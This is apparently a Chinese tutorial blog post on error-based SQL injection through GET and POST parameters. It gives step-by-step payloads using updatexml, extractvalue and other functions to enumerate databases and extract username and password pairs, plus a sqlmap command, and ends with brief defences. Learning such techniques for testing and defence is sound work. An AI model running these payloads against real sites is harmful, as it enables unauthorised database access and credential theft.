SQL注入:基于GET和POST的报错注入详解

发布于:2025-04-01 ⋅ 阅读:(26) ⋅ 点赞:(0)

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

  • 注入点位于URL参数中
  • 通过修改URL参数进行注入
  • 典型示例:http://example.com/news.php?id=1

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1’
观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)–+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)–+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)–+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1)–+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,‘:’,password) from users limit 0,1)),1)–+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin’&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin’ and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u “http://example.com/login.php” --data=“username=admin&password=123” --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限


网站公告

今日签到

点亮在社区的每一天
去签到